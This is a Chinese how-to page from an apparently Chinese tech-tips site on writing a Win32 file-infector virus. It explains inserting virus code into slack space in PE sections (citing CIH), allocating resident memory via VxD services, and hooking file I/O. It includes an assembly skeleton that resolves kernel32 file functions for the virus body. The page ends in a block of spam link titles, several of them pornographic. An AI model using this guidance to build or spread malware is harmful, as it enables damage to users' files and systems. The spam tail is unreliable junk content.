• <output id="aynwq"><form id="aynwq"><code id="aynwq"></code></form></output>

    <mark id="aynwq"><option id="aynwq"></option></mark>
  • <mark id="aynwq"><option id="aynwq"></option></mark><label id="aynwq"><dl id="aynwq"></dl></label>
  • 學習啦>學習電腦>電腦安全>病毒知識>

    win32位下如何制作病毒

    時間: 林輝766 分享

      怎么在win32位下設置病毒呢?也就是制作病毒,下面由學習啦小編給你做出詳細的win32位下制作病毒方法介紹!希望對你有幫助!

      win32位下制作病毒方法:

      win32位下制作病毒1、感染任何一個病毒都需要有寄主,把病毒代碼加入寄主程序中

      (伴侶病毒除外)。

      以下說明如何將病毒代碼嵌入PE文件中,有關PE文件的結構請看以前的文章。 PE文件的典型結構: MZ Header DOS STUB CODE PE HEADER OPTIONAL HEADER SECTION TABLE SECTION 1 SECTION 2 … IMPORT TABLE EXPORT TABLE 和DOS的可執行文件類似,PE的代碼映象分為幾個SECTION,在文件中會對齊

      頁邊界(4K)。一般來說,文件會加載在400000h開始的空間,而第一個SECTION在401000h處,同時入口地址也是401000h。由高級語言編寫的程序,每個SECTIO-N的長度不可能剛好是4K的倍數,因此在SECTION的末尾將會存在一段未用的空間 , 大小可由Section的PHYSICAL SIZE-VIRTUALSIZE得到,在文件中起始位置可由 PHYSICAL OFFSET得到,這段空間可以用來存放病毒代碼。此外一般來說, MZ Header+DOS STUD+PE

      HEADER+OPTIONAL HEADER+SECTION TABLE不過1K左右, 而SECTION 1由4K開始,空出來的地方足夠存放一個設計精良的病毒。CIH就是將 代碼存放在這些空閑空間里。

      win32位下制作病毒2、分配駐留所需內存

      對于駐留形的病毒,分配駐留所需內存是必需的。在DOS下使用由于所有的 應用程序都映射在相同的線性地址空間里,使用一般的內存分配調用就足夠了。而在WIN32下,每個應用程序都有自己的線性地址空間,必須使用特殊的函數分配2GB以上的系統地址。典型的如:VXD服務_PageAllocate,和kernel32的 VxDCALL

      _PageReserve。_PageAllocate請參看win98ddk中的說明,VxDCall _PageReserve 請參看HPS源碼中的注釋。

      win32位下制作病毒3、截留FILE I/O操作 駐留型的病毒通過截留FILE I/O來激活,可以通過使用VXD服務

      IFSMgr_Install-FileSystemAPIHook(如CIH)或截留VxDCall中的DOS Services callback(如HPS)。

      在Win32下編寫病毒不是一件困難的事。

    值得注意的有幾件事:

      一、Win32下的系統功能調用不是通過中斷實現,而是由DLL中導出。

      (直接使用VxD服務除外)。直接在病毒中得到API入口不是一件容易的事,可以通過以下這個變通的方法。

      在同一個版本的Windows下,同一個核心函數的入口總是固定的

      (指由Kernel32,gdi32,user32導出的函數)。因此可以用以下的方法得到函數入口:

      .386p

      .model flat,stdcall

      extrn GetModuleHandleA:proc

      extrn GetProcAddress:proc

      extrn ExitProcess:proc

      .data

      szKernel db 'KERNEL32.DLL',0

      szFindFirst db 'FindFirstFileA',0

      szFindNext db 'FindNextFileA',0

      szFindClose db 'FindClose',0

      szGetCurrentDir db 'GetCurrentDirectoryA',0

      szGetWinDir db 'GetWindowsDirectoryA',0

      szGetSysDir db 'GetSystemDirectoryA',0

      szGetFileAttrib db 'GetFileAttributesA',0

      szSetFileAttrib db 'SetFileAttributesA',0

      szlopen db '_lopen',0

      szlread db '_lread',0

      szlwrite db '_lwrite',0

      szlclose db '_lclose',0

      szllseek db '_llseek',0

      hKernel dd 0

      .code

      ;Initialize code

      start:

      push szKernel

      call GetModuleHandleA

      mov hKernel,eax

      push szFindFirst

      push hKernel

      call GetProcAddress

      mov FindFirstFile,eax

      ….

      jmp VirusStart

      InitExit:

      push 0

      call ExitProcess

      VirusStart:

      jmp Entry

      HostEntry dd InitExit

      FindFirstFile dd 0

      FindNextFile dd 0

      …

      Entry:

      …

      end start

      在Intialize Code得到要用的函數入口并將它填入病毒中,在病毒運行時可以直接使用了。
    看了“win32位下如何制作病毒”文章的還看了:

    1.win7的電腦病毒有哪些

    2.WIN7系統中了EXE病毒文件怎么辦

    3.win8中了電腦病毒怎么辦

    4.win8怎么防止U盤傳播病毒

    5.如何讓32位Win7完美使用4G內存

    640263 主站蜘蛛池模板: 亚洲国产精品成人综合色在线婷婷 | 大陆一级毛片免费视频观看| 亚洲熟妇丰满多毛XXXX| 色婷婷激情综合| 性色爽爱性色爽爱网站| 亚洲国产精品人久久电影| 韩国免费特一级毛片| 天天摸天天操免费播放小视频 | 亚洲日韩国产成网在线观看| 青青青国产依人精品视频| 天天爽夜夜爽夜夜爽| 二级毛片在线观看| 真实国产乱子伦精品免费| 国产日韩精品欧美一区喷水| 一本色道久久88加勒比—综合| 欧美在线小视频| 午夜影皖普通区| 中文字幕日韩丝袜一区| 成人乱码一区二区三区AV| 亚洲人成在线播放网站岛国| 综合一区自拍亚洲综合图区| 国产精品国产三级在线专区| 中文字幕乱伦视频| 欧美三级在线观看黄| 别急慢慢来在线观看 | 日韩免费在线观看| 伊人久久大香线蕉综合7| 香蕉视频a级片| 国内精品久久久久影院一蜜桃| 中文精品字幕电影在线播放视频 | 黄色网站免费在线观看| 天堂а√8在线最新版在线| 久久人人爽人人人人爽av| 毛片永久新网址首页| 四虎国产精品永免费| 日本h在线精品免费观看| 天天干在线观看| 中文字幕永久免费视频| 欧美v在线观看| 亚洲精品无码专区| 精品无码成人久久久久久|